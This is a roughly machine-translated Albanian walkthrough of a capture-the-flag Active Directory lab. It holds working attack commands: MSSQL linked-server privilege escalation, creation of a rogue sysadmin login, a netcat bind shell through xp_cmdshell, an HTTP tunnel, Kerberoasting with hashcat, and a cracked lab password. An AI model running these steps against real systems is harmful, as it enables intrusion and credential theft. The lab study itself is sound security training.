Në këtë artikull, ne do të analizojmë kalimin jo vetëm të një makinerie, por të një mini-laboratori të tërë nga faqja
Siç thuhet në përshkrim, POO është krijuar për të testuar aftësitë në të gjitha fazat e sulmeve në një mjedis të vogël Active Directory. Qëllimi është të komprometoni një host të disponueshëm, të përshkallëzoni privilegjet dhe përfundimisht të komprometoni të gjithë domenin duke mbledhur 5 flamuj në proces.
Lidhja me laboratorin bëhet përmes VPN. Rekomandohet të mos lidheni nga një kompjuter që punon ose nga një host ku ka të dhëna të rëndësishme për ju, pasi hyni në një rrjet privat me njerëz që dinë diçka për sigurinë e informacionit 🙂
informacion organizativ
Kështu që ju mund të mësoni për artikuj të rinj, softuer dhe informacione të tjera, kam krijuar
I gjithë informacioni jepet vetëm për qëllime edukative. Autori i këtij dokumenti nuk merr përsipër asnjë përgjegjësi për çdo dëm të shkaktuar dikujt si rezultat i përdorimit të njohurive dhe metodave të marra si rezultat i studimit të këtij dokumenti.
Intro
Kjo lojë e fundit përbëhet nga dy makina dhe përmban 5 flamuj.
Jepet gjithashtu përshkrimi dhe adresa e hostit në dispozicion.
Le të fillojmë!
Recon flamur
Kjo makinë ka një adresë IP prej 10.13.38.11 të cilën e shtoj te /etc/hosts.
10.13.38.11 poo.htb
Hapi i parë është skanimi i porteve të hapura. Duke qenë se kërkon shumë kohë për të skanuar të gjitha portet me nmap, së pari do ta bëj me masscan. Ne skanojmë të gjitha portat TCP dhe UDP nga ndërfaqja tun0 në 500pps.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Tani, për të marrë informacion më të detajuar në lidhje me shërbimet që funksionojnë në porte, kryeni një skanim me opsionin -A.
nmap -A poo.htb -p80,1433
Kështu, ne kemi shërbime IIS dhe MSSQL. Në këtë rast, ne do të zbulojmë emrin e vërtetë DNS të domenit dhe kompjuterit. Në serverin e internetit, ne jemi të përshëndetur nga faqja kryesore e IIS.
Le të përsërisim mbi drejtoritë. Unë përdor gobuster për këtë. Në parametrat specifikojmë numrin e rrymave 128 (-t), URL (-u), fjalorin (-w) dhe shtesat që na interesojnë (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Kështu, ne kemi vërtetimin HTTP për drejtorinë /admin, si dhe skedarin e ruajtjes së shërbimit të desktopit .DS_Store në dispozicion. .DS_Store janë skedarë që ruajnë cilësimet e përdoruesit për një dosje, të tilla si një listë skedarësh, vendndodhjen e ikonave, imazhin e zgjedhur të sfondit. Një skedar i tillë mund të përfundojë në drejtorinë e serverit të uebit të zhvilluesve të uebit. Kështu, marrim informacion në lidhje me përmbajtjen e drejtorisë. Për këtë ju mund të përdorni
python3 dsstore_crawler.py -i http://poo.htb/
Ne marrim përmbajtjen e drejtorisë. Gjëja më interesante këtu është drejtoria /dev, nga e cila mund të shohim burimet dhe skedarët db në dy degë. Por ne mund të përdorim 6 karakteret e para të emrave të skedarëve dhe drejtorive nëse shërbimi është i cenueshëm ndaj IIS ShortName. Ju mund ta kontrolloni këtë dobësi duke përdorur
Dhe gjejmë një skedar teksti që fillon me "poo_co". Duke mos ditur se çfarë të bëj më pas, thjesht zgjodha nga fjalori i drejtorive të gjitha fjalët që fillojnë me "co".
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
Dhe përsëritni me wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
Dhe gjeni fjalën e duhur! Ne e shikojmë këtë skedar, ruajmë kredencialet (duke gjykuar nga parametri DBNAME, ato janë nga MSSQL).
Ne dorëzojmë flamurin dhe avansojmë me 20%.
Huh flamur
Ne lidhemi me MSSQL, unë përdor DBeaver.
Ne nuk gjejmë asgjë interesante në këtë bazë të dhënash, le të krijojmë një redaktues SQL dhe të kontrollojmë se cilët janë përdoruesit.
SELECT name FROM master..syslogins;
Kemi dy përdorues. Le të kontrollojmë privilegjet tona.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Pra, nuk ka privilegje. Le të shohim serverët e lidhur, kam shkruar për këtë teknikë në detaje
SELECT * FROM master..sysservers;
Kështu ne gjejmë një tjetër SQL Server. Le të kontrollojmë ekzekutimin e komandave në këtë server duke përdorur openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
Dhe ne madje mund të ndërtojmë një pemë pyetëse.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
Fakti është se kur bëjmë një kërkesë në një server të lidhur, kërkesa ekzekutohet në kontekstin e një përdoruesi tjetër! Le të shohim se çfarë konteksti përdorues po ekzekutojmë në serverin e lidhur.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
Dhe tani le të shohim se në çfarë konteksti ekzekutohet kërkesa nga serveri i lidhur me tonin!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Kështu, është një kontekst DBO që duhet të ketë të gjitha privilegjet. Le të kontrollojmë privilegjet në rast të një kërkese nga një server i lidhur.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Siç mund ta shihni, ne i kemi të gjitha privilegjet! Le të krijojmë administratorin tonë kështu. Por ata nuk i lejojnë ata përmes openquery, le ta bëjmë atë përmes EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
Dhe tani ne lidhemi me kredencialet e përdoruesit të ri, vëzhgojmë bazën e të dhënave të flamurit të ri.
Ne e dorëzojmë këtë flamur dhe shkojmë më tej.
Flamuri i pasme
Le të marrim shell duke përdorur MSSQL, unë jam duke përdorur mssqlclient nga paketa impacket.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Duhet të marrim fjalëkalime dhe gjëja e parë që kemi takuar tashmë është faqja. Kështu, ne kemi nevojë për një konfigurim të serverit në internet (është e pamundur të hedhim një guaskë të përshtatshme, me sa duket muri i zjarrit po funksionon).
Por qasja është refuzuar. Megjithëse mund ta lexojmë skedarin nga MSSQL, thjesht duhet të dimë se cilat gjuhë programimi janë konfiguruar. Dhe në drejtorinë MSSQL zbulojmë se ekziston Python.
Atëherë nuk ka asnjë problem për të lexuar skedarin web.config.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
Me kredencialet e gjetura, shkoni te /admin dhe merrni flamurin.
flamuri i këmbës
Në fakt, ka disa shqetësime nga përdorimi i një muri zjarri, por duke parë cilësimet e rrjetit, vërejmë se përdoret edhe protokolli IPv6!
Shto këtë adresë te /etc/hosts.
dead:babe::1001 poo6.htb
Le të skanojmë përsëri hostin, por këtë herë përmes IPv6.
Dhe shërbimi WinRM është i disponueshëm përmes IPv6. Le të lidhemi me kredencialet e gjetura.
Ka një flamur në desktop, dorëzojeni atë.
P00ned flamur
Pas zbulimit në host me
setspn.exe -T intranet.poo -Q */*
Le të ekzekutojmë komandën përmes MSSQL.
Në këtë mënyrë, marrim SPN-në e përdoruesve p00_hr dhe p00_adm, që do të thotë se ata janë të prekshëm ndaj një sulmi të tillë si Kerberoasting. Me pak fjalë, ne mund të marrim hash-et e fjalëkalimeve të tyre.
Së pari ju duhet të merrni një guaskë të qëndrueshme në emër të përdoruesit MSSQL. Por duke qenë se jemi të kufizuar në akses, ne kemi një lidhje me hostin vetëm përmes porteve 80 dhe 1433. Por është e mundur të tunelezohet trafiku përmes portit 80! Për këtë përdorim
Por kur përpiqemi ta aksesojmë, na del një gabim 404. Kjo do të thotë që skedarët *.aspx nuk ekzekutohen. Për të ekzekutuar skedarët me këto shtesa, instaloni ASP.NET 4.5 si më poshtë.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
Dhe tani, kur hyjmë në tunnel.aspx, marrim përgjigjen se gjithçka është gati për të shkuar.
Le të fillojmë pjesën e klientit të aplikacionit, e cila do të transmetojë trafikun. Ne do të përcjellim të gjithë trafikun nga porti 5432 në server.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
Dhe ne përdorim proxychains për të dërguar trafikun e çdo aplikacioni përmes përfaqësuesit tonë. Le ta shtojmë këtë përfaqësues në skedarin e konfigurimit /etc/proxychains.conf.
Tani le të ngarkojmë programin në server
Tani, përmes MSSQL, ne lëshojmë dëgjuesin.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
Dhe ne lidhemi përmes përfaqësuesit tonë.
proxychains rlwrap nc poo.htb 4321
Dhe le të marrim hash-et.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Tjetra, ju duhet të përsërisni mbi këto hash. Meqenëse rock ju nuk kishit një fjalor të të dhënave të fjalëkalimit, unë përdora TË GJITHË fjalorët e fjalëkalimeve të dhëna në Seclists. Për numërim ne përdorim hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
Dhe ne i gjejmë të dy fjalëkalimet, të parin në fjalorin dutch_passwordlist.txt dhe të dytin në Keyboard-Combinations.txt.
Dhe kështu kemi tre përdorues, shkojmë te kontrolluesi i domenit. Le të zbulojmë fillimisht adresën e tij.
E shkëlqyeshme, ne kemi mësuar adresën IP të kontrolluesit të domenit. Le të zbulojmë të gjithë përdoruesit e domenit, si dhe cili prej tyre është administrator. Për të shkarkuar skriptin për të marrë informacion PowerView.ps1. Pastaj ne do të lidhemi duke përdorur evil-winrm, duke specifikuar drejtorinë me skriptin në parametrin -s. Dhe pastaj thjesht ngarkoni skriptin PowerView.
Tani kemi akses në të gjitha funksionet e tij. Përdoruesi p00_adm duket si një përdorues i privilegjuar, kështu që ne do të punojmë në kontekstin e tij. Le të krijojmë një objekt PSCredential për këtë përdorues.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Tani të gjitha komandat e Powershell ku ne specifikojmë Creds do të ekzekutohen në emër të p00_adm. Le të shfaqim një listë të përdoruesve dhe atributin AdminCount.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
Dhe kështu, përdoruesi ynë është vërtet i privilegjuar. Le të shohim se në çfarë grupesh bën pjesë.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Më në fund konfirmojmë që përdoruesi është një administrator domeni. Kjo i jep të drejtën të identifikohet nga distanca në kontrolluesin e domenit. Le të përpiqemi të identifikohemi me WinRM duke përdorur tunelin tonë. Unë u hutova nga gabimet e lëshuara nga reGeorg kur përdor evil-winrm.
Pastaj ne përdorim një tjetër, më të lehtë,
Ne përpiqemi të lidhemi dhe jemi në sistem.
Por nuk ka flamur. Pastaj shikoni përdoruesin dhe kontrolloni desktopët.
Në mr3ks gjejmë flamurin dhe laboratori është 100% i kompletuar.
Kjo eshte e gjitha. Si reagim, komentoni nëse keni mësuar diçka të re nga ky artikull dhe nëse ishte e dobishme për ju.
Mund të na bashkoheni në
Burimi: www.habr.com